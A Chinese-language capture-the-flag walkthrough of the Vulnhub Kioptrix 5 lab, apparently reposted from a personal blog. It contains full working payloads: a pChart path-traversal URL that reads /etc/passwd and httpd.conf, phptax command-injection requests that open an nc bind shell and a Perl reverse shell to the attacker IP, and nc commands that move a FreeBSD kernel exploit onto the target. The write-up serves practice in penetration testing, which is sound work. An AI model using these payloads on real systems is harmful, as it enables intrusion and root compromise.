当前位置: 首页 > article >正文

Vulnhub---kioptirx5 超详细wp

个人博客 WuTongSec

欢迎大佬指点

打点

nmap  192.168.128.0/24 -sP  找ip
nmap  192.168.128.137 --min-rate 10000 -p-  简单全端口扫描
nmap  192.168.128.137 -sC -sV -O -sT    详细 脚本 版本 系统 扫描
dirsearch -u http://192.168.128.137     目录扫描

image-20241207111826418

PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
​

image-20241207112150438

源代码中有 cms框架

image-20241207112323566

拼接一下接口

image-20241207113312607

8080端口没有权限

image-20241207112312253

利用

先搜索一下pChart2.1.3 exp exp版本对的上 把exp复制到当前目录

searchsploit pChart

searchsploit pChart -m 31173

image-20241207112813683

查看exp信息 有xss和路径穿越遍历

image-20241207113047918

payload
hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
http://192.168.128.137/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

image-20241207113406388

在只能读取的情况下 尝试读取apache的默认配置文件
搜索一下FreeBSD系统下的apache的默认配置文件
​
https://cwiki.apache.org/confluence/display/HTTPD/DistrosDefaultLayout
https://cwiki.apache.org/ 是 Apache Software Foundation (ASF) 的一个 Confluence【汇流】 维基站点,它为 ASF 旗下的各个项目提供了一个协作和文档管理的平台
/usr/local/etc/apache22/httpd.conf
结合文件读取
http://192.168.128.137/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf

image-20241207143605027

ServerRoot 和 DocumentRoot:
ServerRoot 指定了 Apache 服务器的根目录。
DocumentRoot 指定了 Web 内容的根目录。了解这个路径有助于查找网站文件,有时可能包含敏感信息或未公开的资源。
<Directory> 和 <Files> 指令:
这些指令定义了对特定目录和文件的访问控制。检查这些部分可以揭示是否存在宽松的安全设置,例如允许目录浏览(Options Indexes),这可能会暴露文件结构给攻击者。
Include 指令:
Include 可以加载额外的配置文件或目录中的所有 .conf 文件。确认哪些文件被包含进来,因为它们可能含有其他重要的配置或者敏感信息。
LoadModule 指令:
列出了已加载的模块。某些模块如 mod_php, mod_perl, 或 mod_python 可能会提供额外的功能,但也可能引入安全风险。特别是如果你看到不常见的模块,应该进一步调查其功能和潜在影响。
ScriptAlias 和 Alias 指令:
ScriptAlias 通常用于指定 CGI 脚本的执行路径。Alias 用来映射 URL 到文件系统中的某个位置。注意这些路径,因为它们可能是执行任意代码或访问特殊资源的入口点。
ErrorLog 和 CustomLog 指令:
分别指定了错误日志和访问日志的位置。日志文件可能包含有关服务器行为的重要信息,包括可能的错误、警告以及用户活动记录。特别要留意是否有关于 SQL 注入、命令注入等攻击尝试的日志条目。

image-20241207164159197

意思是我们需要这个User-Agent头
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
​
GET /phptax/ HTTP/1.1
Host: 192.168.128.137:8080
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent:Mozilla/4.0 Mozilla4_browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.128.137:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
把数据包换一下

image-20241207164658673

每次都要换Mozilla/4.0 Mozilla4_browser

有一个 phptax 查一下有没有exp

image-20241207164950693

image-20241207175238022

25849 这个exp 需要一个php_curl apt install里面没有那就换一个

image-20241207175421857

这个exp是 一个命令执行的 可以反弹shell回来

image-20241207175806965

靶机做好镜像 我自己很多时候发包没有回复 多恢复镜像可以了

image-20241207185814281

http://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
http://192.168.128.137:8080/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
数据包
GET /phptax/drawimage.php?pfilez=xxx;%20id>/tmp/111;&pdf=make HTTP/1.1
Host: 192.168.128.137:8080
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 Mozilla4_browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.128.137:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

我们写一个命令 whoami>/tmp/qwer 使用之前的读取文件payload可以看到是成功的

image-20241207190105854

反弹shell

nc -lvnp 4444

试了很多的反弹shell 还是只有perl 可以

GET /phptax/drawimage.php?pfilez=xxx;%20perl%20-e%20'use%20Socket%3b%24i%3d%22192.168.128.128%22%3b%24p%3d4444%3bsocket(S%2cPF_INET%2cSOCK_STREAM%2cgetprotobyname(%22tcp%22))%3bif(connect(S%2csockaddr_in(%24p%2cinet_aton(%24i))))%7bopen(STDIN%2c%22%3e%26S%22)%3bopen(STDOUT%2c%22%3e%26S%22)%3bopen(STDERR%2c%22%3e%26S%22)%3bexec(%22%2fbin%2fsh%20-i%22)%3b%7d%3b';&pdf=make HTTP/1.1
Host: 192.168.128.137:8080
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 Mozilla4_browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.128.137:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
​
​
反弹shell命令
GET /phptax/drawimage.php?pfilez=xxx; perl -e 'use Socket;$i="192.168.128.128";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");

image-20241207193124142

推荐一个插件 hack tools 很多实用的命令 反弹shell 命令行

image-20241207193150559

提权

刚开始尝试了 suid提权 发现没有
​
计划任务 也不行
​
sudo 也不行
​
那就只有内核提权了 去找exp
​
$ uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64

上传:nc -lvnp 233 < 28718.c

下载:nc 192.168.128.128 233 > 28718.c

image-20241207204702434

编译文件 生成的是默认 a.out

成功

image-20241207205239503

image-20241207205254183

总结

反弹shell有的多种

上传:nc -lvnp 233 < 28718.c

下载:nc 192.168.128.128 233 > 28718.c

这个地方是查各种系统 apache的默认文件信息的

DistrosDefaultLayout - HTTPD - Apache Software Foundation


http://www.kler.cn/a/430470.html

相关文章:

  • SpringCloud源码分析-LoadBalancer
  • 传统听写与大模型听写比对
  • 人工智能(AI)简史:推动新时代的科技力量
  • NetSuite Formula(HTML)超链打开Transaction
  • 如何在 API 设计中做到接口幂等
  • PHP+Redis的基本操作方法
  • qt http通信请求demo (get post )其余类似
  • Unity类银河战士恶魔城学习总结(P171 After image fx残影)
  • 基于ZYNQ-7000系列的FPGA学习笔记8——呼吸灯
  • 在 OAuth 2.0 中,refreshToken(刷新令牌)存在的意义
  • 新浪财经-数据中心-基金重仓GU-多页数据批量获取
  • HarmonyOS-中级(三)
  • BERT:用于语言理解的深度双向 Transformer 的预训练。
  • SQLAlchemy: Python中的强大数据库工具
  • 线段树模板
  • 微服务架构之旅-消息队列的应用
  • 鸿蒙分享(二):引入zrouter路由跳转+封装
  • 【git】git合并分支功能rebase和merge的区别
  • HarmonyOS-中级(四)
  • 中国卫生健康统计年鉴Excel+PDF电子版2022年-社科数据
  • 【Android Studio】学习——网络连接
  • 如何判断一个值是否是数组
  • QT requested database does not belong to the calling thread.线程中查询数据报错
  • OpenCV相机标定与3D重建(10)眼标定函数calibrateHandEye()的使用
  • go语言的成神之路-标准库篇-fmt标准库
  • 力扣刷题TOP101: 27.BM34 判断是不是二叉搜索树